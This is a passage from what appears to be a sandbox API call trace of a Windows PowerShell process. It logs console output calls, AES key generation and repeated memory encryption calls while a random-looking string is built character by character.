lpCs=0x5a2e460) returned 0 [0243.077] GetConsoleOutputCP () returned 0x1b5 [0243.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.077] GetConsoleOutputCP () returned 0x1b5 [0243.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.078] GetConsoleOutputCP () returned 0x1b5 [0243.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.078] GetConsoleOutputCP () returned 0x1b5 [0243.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.078] GetConsoleOutputCP () returned 0x1b5 [0243.078] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.079] GetConsoleOutputCP () returned 0x1b5 [0243.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.079] GetConsoleOutputCP () returned 0x1b5 [0243.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.079] GetConsoleOutputCP () returned 0x1b5 [0243.079] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.079] GetConsoleOutputCP () returned 0x1b5 [0243.080] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.080] GetConsoleOutputCP () returned 0x1b5 [0243.080] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.080] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0243.081] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.081] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e9ae4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24e9ae4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0243.082] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0243.082] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0243.083] EtwEventActivityIdControl () returned 0x0 [0243.083] EtwEventActivityIdControl () returned 0x0 [0243.084] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.085] EtwEventActivityIdControl () returned 0x0 [0243.085] EtwEventActivityIdControl () returned 0x0 [0243.085] EtwEventActivityIdControl () returned 0x0 [0243.087] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.088] EtwEventActivityIdControl () returned 0x0 [0243.088] EtwEventActivityIdControl () returned 0x0 [0243.088] EtwEventActivityIdControl () returned 0x0 [0243.090] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d3a8) returned 1 [0243.092] CryptGenKey (in: hProv=0x5c4d3a8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99620) returned 1 [0243.092] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.092] CryptExportKey (in: hKey=0x5c99620, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.092] CryptExportKey (in: hKey=0x5c99620, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24f14bc, pdwDataLen=0x5a2e8c4 | out: pbData=0x24f14bc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.093] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.093] EtwEventActivityIdControl () returned 0x0 [0243.093] EtwEventActivityIdControl () returned 0x0 [0243.093] EtwEventActivityIdControl () returned 0x0 [0243.094] SysStringLen (param_1="") returned 0x8 [0243.095] SysStringLen (param_1="a") returned 0x8 [0243.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.095] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0243.095] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0243.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.095] SysStringLen (param_1="a0") returned 0x8 [0243.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.095] SysStringLen (param_1="속㮃〩\꿞蓌㈂≨) returned 0x8 [0243.095] SysStringLen (param_1="속㮃〩\꿞蓌㈂≨) returned 0x8 [0243.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.096] SysStringLen (param_1="a0R") returned 0x8 [0243.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.096] SysStringLen (param_1="嵇⢰ࡔᱠ癒➢ᐉ") returned 0x8 [0243.096] SysStringLen (param_1="嵇⢰ࡔᱠ癒➢ᐉ") returned 0x8 [0243.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.096] SysStringLen (param_1="a0RI") returned 0x8 [0243.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.096] SysStringLen (param_1="蠑翕ﰸᩙ本뗒㏻") returned 0x8 [0243.096] SysStringLen (param_1="蠑翕ﰸᩙ本뗒㏻") returned 0x8 [0243.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.097] SysStringLen (param_1="a0RIc") returned 0x8 [0243.097] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.097] SysStringLen (param_1="ັ菀┖\x04褢ᡫ풧") returned 0x8 [0243.097] SysStringLen (param_1="ັ菀┖\x04褢ᡫ풧") returned 0x8 [0243.097] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.097] SysStringLen (param_1="a0RIc0") returned 0x8 [0243.097] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.097] SysStringLen (param_1="膏嬶ꕹ鬳窷䟕鑱姽") returned 0x8 [0243.097] SysStringLen (param_1="膏嬶ꕹ鬳窷䟕鑱姽") returned 0x8 [0243.097] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.098] SysStringLen (param_1="a0RIc0K") returned 0x8 [0243.098] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.098] SysStringLen (param_1="竇履䭠뵱琘俀뀧튯") returned 0x8 [0243.098] SysStringLen (param_1="竇履䭠뵱琘俀뀧튯") returned 0x8 [0243.098] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.098] SysStringLen (param_1="a0RIc0Kf") returned 0x8 [0243.098] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.098] SysStringLen (param_1="㻂䩶ﲂ屡볯젾") returned 0x8 [0243.099] SysStringLen (param_1="㻂䩶ﲂ屡볯젾") returned 0x8 [0243.099] SysStringLen (param_1="㻂䩶ﲂ屡볯젾") returned 0x8 [0243.099] SysStringLen (param_1="㻂䩶ﲂ屡볯젾") returned 0x10 [0243.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.100] SysStringLen (param_1="a0RIc0Kfj狣诫㜀䃸茇ԅ") returned 0x10 [0243.100] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.100] SysStringLen (param_1="㻂䩶ﲂ屡볯젾㖾撢羯⺁ﾈ⟆앍") returned 0x10 [0243.100] SysStringLen (param_1="㻂䩶ﲂ屡볯젾㖾撢羯⺁ﾈ⟆앍") returned 0x10 [0243.100] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.100] SysStringLen (param_1="a0RIc0Kfj3诫㜀䃸茇ԅ") returned 0x10 [0243.100] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.100] SysStringLen (param_1="㻂䩶ﲂ屡볯젾萁쌛ꂧﳣ탵式辇圮") returned 0x10 [0243.100] SysStringLen (param_1="㻂䩶ﲂ屡볯젾萁쌛ꂧﳣ탵式辇圮") returned 0x10 [0243.100] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.101] SysStringLen (param_1="a0RIc0Kfj3x㜀䃸茇ԅ") returned 0x10 [0243.101] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.101] SysStringLen (param_1="㻂䩶ﲂ屡볯젾奱ꑢﾆ䠥쟵⫣쮉鴡") returned 0x10 [0243.101] SysStringLen (param_1="㻂䩶ﲂ屡볯젾奱ꑢﾆ䠥쟵⫣쮉鴡") returned 0x10 [0243.101] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.102] SysStringLen (param_1="a0RIc0Kfj3xv㜀䃸茇ԅ") returned 0x10 [0243.102] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.102] SysStringLen (param_1="㻂䩶ﲂ屡볯젾橥詗쪜ꛜ灳㉬ꎱ봕") returned 0x10 [0243.102] SysStringLen (param_1="㻂䩶ﲂ屡볯젾橥詗쪜ꛜ灳㉬ꎱ봕") returned 0x10 [0243.102] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.102] SysStringLen (param_1="a0RIc0Kfj3xvB䃸茇ԅ") returned 0x10 [0243.102] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.102] SysStringLen (param_1="㻂䩶ﲂ屡볯젾㓍곕긗檟㟵憳΍") returned 0x10 [0243.102] SysStringLen (param_1="㻂䩶ﲂ屡볯젾㓍곕긗檟㟵憳΍") returned 0x10 [0243.102] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.103] SysStringLen (param_1="a0RIc0Kfj3xvBt茇ԅ") returned 0x10 [0243.103] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.103] SysStringLen (param_1="㻂䩶ﲂ屡볯젾鉯뉍䦩뛚מּ벧꓄艅") returned 0x10 [0243.103] SysStringLen (param_1="㻂䩶ﲂ屡볯젾鉯뉍䦩뛚מּ벧꓄艅") returned 0x10 [0243.103] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.103] SysStringLen (param_1="a0RIc0Kfj3xvBtXԅ") returned 0x10 [0243.103] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.103] SysStringLen (param_1="㻂䩶ﲂ屡볯젾ꤧঘ㕁銉〉\䇞≎) returned 0x10 [0243.103] SysStringLen (param_1="㻂䩶ﲂ屡볯젾ꤧঘ㕁銉〉\䇞≎) returned 0x10 [0243.103] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.103] SysStringLen (param_1="a0RIc0Kfj3xvBtXH") returned 0x10 [0243.104] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.104] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂⊱) returned 0x10 [0243.104] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂⊱) returned 0x10 [0243.104] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂⊱) returned 0x10 [0243.105] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂⊱) returned 0x18 [0243.105] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.105] SysStringLen (param_1="a0RIc0Kfj3xvBtXHp曫৴䑛뇃籫") returned 0x18 [0243.105] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.105] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂憱医삙걑熴᧕౮偂⊳) returned 0x18 [0243.105] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂憱医삙걑熴᧕౮偂⊳) returned 0x18 [0243.105] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.106] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpc曫৴䑛뇃籫") returned 0x18 [0243.106] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.106] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂꾱♈䟩ﲰ\꟟݊Ჰ案") returned 0x18 [0243.106] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂꾱♈䟩ﲰ\꟟݊Ჰ案") returned 0x18 [0243.106] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.106] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu曫৴䑛뇃籫") returned 0x18 [0243.106] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.106] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂炱཰藜찥盰ᖧ⊖) returned 0x18 [0243.106] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂炱཰藜찥盰ᖧ⊖) returned 0x18 [0243.106] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.107] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9৴䑛뇃籫") returned 0x18 [0243.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.107] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂ณ໋溧汑╜▵⊎) returned 0x18 [0243.107] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂ณ໋溧汑╜▵⊎) returned 0x18 [0243.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.107] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9i䑛뇃籫") returned 0x18 [0243.107] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.107] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂檱Ẋ騣᱋䨸ꤐ倫囷⋶) returned 0x18 [0243.107] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂檱Ẋ騣᱋䨸ꤐ倫囷⋶) returned 0x18 [0243.107] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.108] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9im뇃籫") returned 0x18 [0243.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.108] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂꾱痫댦ૠ䖑ꏵ豵䁋≔) returned 0x18 [0243.108] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂꾱痫댦ૠ䖑ꏵ豵䁋≔) returned 0x18 [0243.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.108] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH籫") returned 0x18 [0243.108] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.108] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂㢱۹謁\꫘ꛣ붅띯ꏩ") returned 0x18 [0243.108] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂㢱۹謁\꫘ꛣ붅띯ꏩ") returned 0x18 [0243.108] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.109] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH2") returned 0x18 [0243.109] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.109] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⊝) returned 0x18 [0243.109] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⊝) returned 0x18 [0243.109] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⊝) returned 0x18 [0243.110] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⊝) returned 0x20 [0243.110] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.110] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21聨抌뛖눓\뇛॰≐) returned 0x20 [0243.110] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.110] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃ޝ㬝糅૓䠝鸜䪍∫) returned 0x20 [0243.110] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃ޝ㬝糅૓䠝鸜䪍∫) returned 0x20 [0243.111] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.111] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21h抌뛖눓\뇛॰≐) returned 0x20 [0243.111] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.111] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃咝裰毌傹僐꽰Ᏻ\뇝") returned 0x20 [0243.111] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃咝裰毌傹僐꽰Ᏻ\뇝") returned 0x20 [0243.111] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.111] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hk뛖눓\뇛॰≐) returned 0x20 [0243.111] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.112] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃䎝孠昞姖醠逨蚱⊁) returned 0x20 [0243.112] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃䎝孠昞姖醠逨蚱⊁) returned 0x20 [0243.112] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.112] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJ눓\뇛॰≐) returned 0x20 [0243.112] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.112] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⦝ש鋉⹖訽뀱蚙∌) returned 0x20 [0243.112] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃⦝ש鋉⹖訽뀱蚙∌) returned 0x20 [0243.112] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.112] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJL\뇛॰≐) returned 0x20 [0243.112] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.113] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃銝ףּ큦ᐖ氒趶䅙詑⊤) returned 0x20 [0243.113] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃銝ףּ큦ᐖ氒趶䅙詑⊤) returned 0x20 [0243.113] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.113] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLr炱倉") returned 0x20 [0243.113] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.113] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃鲝됦\훚已푮଺㬴") returned 0x20 [0243.113] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃鲝됦\훚已푮଺㬴") returned 0x20 [0243.113] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.114] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrS倉") returned 0x20 [0243.114] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.114] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃檝ᵛ궘쟋狯ₕι⊧) returned 0x20 [0243.114] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃檝ᵛ궘쟋狯ₕι⊧) returned 0x20 [0243.114] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.114] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY") returned 0x20 [0243.114] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.114] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋") returned 0x20 [0243.115] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋") returned 0x20 [0243.115] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋") returned 0x20 [0243.116] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ᳫ") returned 0x28 [0243.116] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.122] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3羟䴄⡆\῜㏔굅≤) returned 0x28 [0243.122] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.122] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋࿀閎辑證肆鬨") returned 0x28 [0243.122] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋࿀閎辑證肆鬨") returned 0x28 [0243.122] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.122] SysStringLen (param_1="a0RIc0Kfj3xvBtXHpcu9imH21hkJLrSY3o䴄⡆\῜㏔굅≤) returned 0x28 [0243.122] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.122] SysStringLen 